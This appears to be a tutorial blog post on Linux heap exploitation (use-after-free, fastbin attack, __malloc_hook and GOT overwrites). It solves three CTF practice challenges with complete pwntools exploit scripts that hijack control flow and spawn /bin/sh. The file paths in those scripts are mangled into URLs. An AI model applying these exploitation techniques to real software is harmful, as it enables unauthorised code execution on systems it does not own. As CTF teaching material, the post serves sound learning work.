0x00 Preface
According to some big shot, the pwn path is divided into stack, heap, and kernel. Currently, if you see this article, it means you have reached a watershed on the path to pwn's depths. The magic and charm of the heap are actually much greater than that of the stack, and I hope my article can help beginners. Please note that if some things are not clear, refer to multiple articles and combine them with actual practice to understand, which is the best approach.
The purpose of this article is to hope that everyone does not fear the heap (like I did back then), so that we can continue to slowly tread towards the distant charm of the pwn path.
Heap Overflow and UAF
Heap overflow refers to the situation where, during program execution, data exceeding the allocated memory boundary is written to the heap (Heap) area, thereby overwriting adjacent memory space. This may cause the program to crash, perform unexpected behavior, or be exploited by an attacker.
UAF refers to the Use-After-Free vulnerability, which is a common memory security issue. When a program releases a memory block on the heap but continues to use the released memory block later, a UAF vulnerability is produced. Attackers can exploit UAF vulnerabilities to execute malicious code, read sensitive data, control the execution flow of the program, and so on.
When both heap overflow and UAF vulnerabilities exist, an attacker can exploit the heap overflow vulnerability to modify or tamper with the released memory block, thereby changing the conditions or affecting the subsequent use of the UAF vulnerability. This combined attack is known as Heap Overflow UAF (Use-After-Free). An attacker can use heap overflow to destroy the program's memory structure and combine it with UAF vulnerabilities to implement more complex attacks, such as executing arbitrary code, escalating privileges, or bypassing security protection mechanisms.
Starting from fastbin attack
The fastbin is used to store a chunk of heap memory that is less than global_max_size and not less than the minimum memory when releasing a chunk (which is a piece of heap memory)~~(garbage can)~~, it is a single linked list structure (have you learned it all right!)
The dynamic memory heap is usually composed of two main parts: one is the heap header (Heap Header), which is used to record the status and metadata information of the heap, and the other is the heap body (Heap Body), which is used to store allocated memory blocks and free memory blocks.
The main body of the heap is usually composed of one or more continuous virtual memory regions, each region is usually composed of multiple memory blocks (Block), each block contains a header and an actual data part. The header is usually used to record the status of the memory block (allocated or free), size, pointer to the next or previous memory block, and other information.
Does it sound like human language? Haha, let's just look at the code!
struct BlockHeader {
size_t size; // Size of the memory block, including header information and data part
struct BlockHeader* next; // Pointer to the next memory block
int is_free; // Mark whether the memory block is free
};
// Main information of the heap
struct Heap {
struct BlockHeader* head; // Pointer to the first memory block in the heap
size_t size; // The size of the heap, including allocated and free memory blocks
};
1. The first step of the attack: modify the pointer
When we release a memory heap A of a certain size, A will be allocated to the fastbin. When we release another memory heap B of the same size, B will also be allocated to the fastbin, at this time the next pointer stored in B is A. If we release A again, then A's next will point to B, and they will point to each other, achieving the purpose of modifying the next pointer.
We can also directly overwrite the data to modify the next pointer stored in the memory heap.
What is the use of modifying the pointer?
By modifying the pointer, we can allocate the memory we control next time we apply for memory!
Because fastbin is used this way, we just released B, and then we applied for the same size again, we would get B, and then apply once more would get B pointing to A.
Therefore, if we apply for B and B stores the next as C, then the next application will get C, and then we can modify the content in C.
So, what content do we need to modify?
At this time, we need to understand a function that is dangerous for safety reasons——“malloc_hook”
2. The second step of the attack: hook u!
The malloc_hook function is a special function in the GNU C library (glibc), which can be used to rewrite the implementations of memory management functions such as malloc(), realloc(), free(), etc., thus enabling customized control and monitoring of the program's memory allocation and release process.
By setting the malloc_hook function pointer, we can execute some custom operations or decide whether to perform standard memory allocation/release operations based on certain conditions before the program calls functions such as malloc(), realloc(), etc. For example, detecting memory leaks, recording memory allocation/release information, etc. At the same time, we can combine the custom implementation with standard memory management functions to achieve more flexible memory management strategies.
Before each call to malloc and realloc, free, malloc_hook is called first to achieve the purpose of detection and customization of the function.
typedef void *(*__malloc_hook)(size_t size, const void *caller);
So once we modify the malloc_hook function pointer, we can execute the address we need to execute (such as calling system, gadget, etc.) when we call malloc or realloc, free, etc. in the next operation, and thus complete the vulnerability exploitation.
Actually, this approach is also used in vulnerabilities such as GOT table hijacking, UAF, i.e., modifying the addresses of related calling functions to achieve the purpose of hijacking the program flow. It is not just fastbin attack; the following UAF and Tcache attack (perhaps it can be considered as such) are also based on similar principles.
3. Some supplementary points from the perspective of the writer (not the attacker)
Know yourself and know your enemy, and you will never be defeated in a hundred battles. Understanding what this function does allows us to better utilize it. (This can be skipped.)
malloc_hook is a function pointer that can be used to implement custom memory allocation strategies when the program calls standard dynamic memory allocation functions such as _malloc(), calloc(), realloc(), valloc(), aligned_alloc(), and memalign().
When the program calls any of the dynamic memory allocation functions mentioned above, the system will first check if the malloc_hook function pointer is defined. If defined, it will call the function pointed to by the pointer to perform memory allocation. By using the malloc_hook function pointer, the program can implement interception and customization of dynamic memory allocation, which can be used in debugging, memory leak detection, performance analysis, and other application scenarios.
The type definition of the malloc_hook function pointer is as follows:
typedef void *(*__malloc_hook)(size_t size, const void *caller);
Among them, the first parameter size indicates the size of the memory to be allocated, the second parameter caller is the return address of the function that calls the dynamic memory allocation function. The function pointed to by the malloc_hook function pointer must return a pointer to the allocated memory block. If it returns NULL, it indicates that the memory allocation failed.
It should be noted that the malloc_hook function pointer needs to be used very carefully, as it can overwrite the standard dynamic memory allocation function in the program, which may cause system crashes or memory leaks and other problems. It is recommended to use it only when necessary and follow the corresponding specifications and best practices.
0x02 Example: hitcontraining_uaf
1. Analysis of the Program
The vulnerability of this problem is UAF. The vulnerability lies in the fact that the deletion function of the heap block does not set the pointer to 0, which allows us to modify the relevant memory. This program will allocate a heap related to puts before allocating a heap, storing the print_note_content function and parameters, used to call the printing of heap information. The next one is the heap block applied for.
If we overwrite this function with magic, then we can call magic when printing.
2. Overall Idea
The overall idea is to use the UAF vulnerability, first release two large heap blocks, then apply for a small heap block. In this way, when applying for the putheap heap for the first time, it is the heap that was released in the second time, and then apply for the heap we want to apply for, we will apply for the heap that was released in the first time. Then modify the function address of the putheap heap, achieve the purpose. (Tcache last in, first out).
3. Explanation of the Process of Utilization
add(16,b'0')
add(16,b'0')
After executing these, the heap is like this.
(The vis (visible) command can be used to directly view it, the full name is vis_heap_chunk)
You can see that the purple is the putsheap function and parameters, while the green is the first heap block applied for, the blue is the second putsheap function and parameters, and the orange is the second heap block.
free(0)
free(1)
After executing these, the heap is like this. After release, it goes into the Tcache bin.
magic = 0x8048945
add(8,p32(magic))
Then we apply for 8-byte memory, the same size as the putsheap function.
Execute the first step, according to the Tcache last in, first out, the blue is allocated to store the putsheap function and parameters (there are no parameters yet).
Execute the second step, the purple is used as the memory we apply for, and write the magic address. Note that this should originally be the address to execute putsheap, so when printing heap blocks, this function will be executed, and then obtain permissions.
Execute, obtain permissions.
4. Complete exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('https://www.freebuf.com/articles/endpoint/heap')
p = remote('node4.buuoj.cn', 28490)
elf = ELF('https://www.freebuf.com/articles/endpoint/heap')
libc = ELF('https://www.freebuf.com/articles/endpoint/libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':', str(1))
sla(':', str(size))
sla(':', content)
def edit(idx, content):
sla(':', '2')
sla(':', str(idx))
sla(':', str(len(content)))
sla(':', content)
def free(idx):
sla(':', '2')
sla(':', str(idx))
def dump(idx):
sla(':', '3')
sla(':', str(idx))
add(16,b'0')
add(16,b'0')
free(0)
free(1)
magic = 0x8048945
add(8,p32(magic))
dump(0)
ia()
0x03 Example 2 [ZJCTF 2019]EasyHeap (fastbin attack
1. Analysis of the Program
The vulnerability of this problem is fastbin attack, an unprinted content menu question.
There is no input length limit here, and there is a heap overflow vulnerability.
2. Overall Idea
We use the idea of 0x01, override the calling function, and trick the got table of free into the plt table of system, so we can execute system(heap pointer). If the heap pointer stores '/bin/sh', we can execute system('/bin/sh') to obtain privileges. (Note that the string is actually a pointer and ends with '\x00')
This is the function to delete heaps, which will execute free(heap pointer) and clear the pointer, so UAF cannot be used, but fastbin attack can be done.
It feels like this is equivalent to stack overflow ret2sys
3. Explanation of the Process of Utilization
3.1 Heaps Needed
First create three heaps, namely heap0, heap1, and heap2.
add(0x68,b'6')#0
add(0x68,b'6')#1
add(0x68,b'6')#2
3.2 The Substitution of Li Daitaojia
heap2 is the vanguard of fastbin attack, used to be sent to fastbin attack, and then modify its fd pointer to the array that stores the heap pointer of the program (hereinafter referred to as the array).
This way, when applying for memory, according to the first-in-first-out of fastbin, we first apply for heap2, and then apply for an array as a disguise heap.
0x6020e0 is the heap pointer array, and we cannot directly disguise the heap block here because there is no record of the size. We need to look ahead to see if there is a record of the size. We look ahead to be able to write to the pointer array later.
When the offset -0x33 is found, it is exactly disguised as a heap block with a size of 0x7f.
Fastbins are a heap management technique used to store released small heap blocks. The specific size of Fastbins usually varies depending on different heap implementations and system architectures. In typical GNU C libraries, the size range of Fastbins is usually between 32 bytes and 128 bytes.
free(2)
#Release to fastbin, perform a fastbin attack, the specific method is to modify fd to the address near the heap pointer
edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
#Write binsh in heap1, 0x6020ad is used to modify fd to the fake heap located just now
The modification after is as follows.
3.3 Moving flowers and substituting
After obtaining the array, change the address of heap0 to the address of the got table of free.
add(0x68,b'6')#Restore 2 back
add(0x68,b'6')#Create a fake heap, which is actually the 0x33 before the heap pointer array
edit(3,b'\x00'*0x23+p64(elf.got['free']))#Cover heap0 to the got table of free
Here is 0x23 because there is 0x10 used to store the heap header before.
Before modification:
After modification: pay attention to the first pointer has changed to 0x602018, that is, the got table of free.
3.4 Borrowing a sword to kill someone
Edit heap0, at this time it has actually been substituted as the got table of free. We change the got table of free to the plt table of system.
edit(0,p64(elf.plt['system']))#Cover the got of free to the plt of system
Since when calling free, it first finds the plt table of free, then jumps to the got table of free for an additional jump, at this time, if the got table of free is changed to the plt of system, it will jump to the execution of system.
Finally execute free(1), which is actually executing system('/bin/sh'), and the privilege escalation is successful.
4. Complete exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('https://www.freebuf.com/articles/endpoint/heap')
#p = remote('node4.buuoj.cn', 26065)
elf = ELF('https://www.freebuf.com/articles/endpoint/heap')
libc = ELF('https://www.freebuf.com/articles/endpoint/libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':','1')
sla(':', str(size))
sla(':', content)
def edit(idx, content):
sla(':', '2')
sla(':', str(idx))
sla(':', str(len(content)))
sla(':', content)
def free(idx):
sla(':', '3')
sla(':',str(idx))
add(0x68,b'6')#0 is used to write the got of free to system
add(0x68,b'6')#1 is used to store binsh and cover 2
add(0x68,b'6')#2 is used for constructing fastbin attack, write heap0 pointer to the got table of free
free(2) #Release to fastbin for fastbin attack, the specific method is to modify fd to the address near the heap pointer
edit(1,b'/bin/sh\x00'+b'\x00'*0x60+p64(0x71)+p64(0x6020ad))
#Write binsh to heap1, 0x6020ad is the fake heap located just now
add(0x68,b'6')#Restore 2 back
add(0x68,b'6')#Create a fake heap, which is actually the 0x33 before the heap pointer array
edit(3,b'\x00'*0x23+p64(elf.got['free']))#Cover heap0 to the got table of free
edit(0,p64(elf.plt['system']))#Cover the got of free to the plt of system
free(1)#execute system (originally free), parameter is '/bin/sh'
ia()
0x04 Example 3 babyheap_0ctf_2017
babyheap_0ctf_2017, my first heap challenge, fastbin attack. This problem is still a menu-based question, but it has an additional dump function to print heap information. For detailed solutions, please refer to other articles. Here, the exp comments are provided for reference and can be skipped. The difficulty is relatively high for beginners.
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')
p = process('https://www.freebuf.com/articles/endpoint/heap')
p = remote('node4.buuoj.cn', 29639)
elf = ELF('https://www.freebuf.com/articles/endpoint/heap')
libc = ELF('https://www.freebuf.com/articles/endpoint/libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size):
#p.sendlineafter(':','1')
#p.sendlineafter(':', str(size))
sla(':', str(1))
sla(':', str(size))
def edit(idx, content):
sla(':', '2')
sla(':', str(idx))
sla(':', str(len(content)))
sla(':', content)
def free(idx):
sla(':', '3')
sla(':', str(idx))
def dump(idx):
sla(':', '4')
sla(':', str(idx))
add(0x10)# 0
add(0x10)# 1
add(0x80)# 2
add(0x30)# 3
add(0x68)# 4
add(0x50)# 5
edit(0, p64(0)*3 + p64(0xb1))# Modify the size of heap1 so that the next heap content can be leaked!
free(1)# Release it! Let me get a bigger one, to be output soon!
add(0xa0)# Got it! The program now knows to output 0xa0! (But it's not that big actually)
edit(1, p64(0)*3 + p64(0x91))# Restore chunk2 information!
free(2)# Release, go to unsortedbin! Bring back the address
dump(1)# Output 0xa0, get the address!
base = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))# It is the address of main_arena, and there is a little offset!
base -= 0x3c4b78# This offset can be found by disass *malloc_trim in gdb! Line 33
libc.address = base
print(hex(base))
hook = libc.sym.__malloc_hook
#ini1 = libc.sym.memalign_hook_ini
#ini1 = libc.sym.realloc_hook_ini
getshell = base + 0x4526a#one_shot, from onegadget!
print(hex(hook))
free(4)# Send to fastbin, prepare for attack!
edit(3, p64(0)*7 + p64(0x71) + p64(hook-0x23))# -0x23 is to mislead the size of 0x7f during heap allocation verification! Then perform overwriting! (Like 0x01, it is said to modify the fd pointer of fastbin, and the memory here will be allocated soon!)
add(0x68)#2
add(0x68)#4#Apply the memory filled just now
edit(4,b'\x00'*0x13+p64(getshell))#Transfer the hook function to the privilege oneshot program flow
add(0x20)#Call allocated memory to call hook, then get privileges
ia()
'''0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Comments related to exp
Attention, buuctf will provide good libc
0x05 Finally
Example problems of 0x02 are known as ret2text in the world of heap attacks, 0x03 is equivalent to ret2sys, and 0x04 is equivalent to ret2libc. However, the world of heap is far from these... Thank you all for accompanying me on this journey, please continue to do more exercises and learn, and we will meet again at a higher place!
Git leak && AWS AKSK && AWS Lambda cli && Function Information Leakage && JWT secret leak
A shallow analysis of the example of ONU being attacked by a zombie
Example of Spring MVC HttpURLConnection Vulnerability
Fhex: A powerful all-platform hexadecimal editor
A simple example of bypassing frida anti-debugging
II. Examples and Analysis of Some Signature Malicious Components

评论已关闭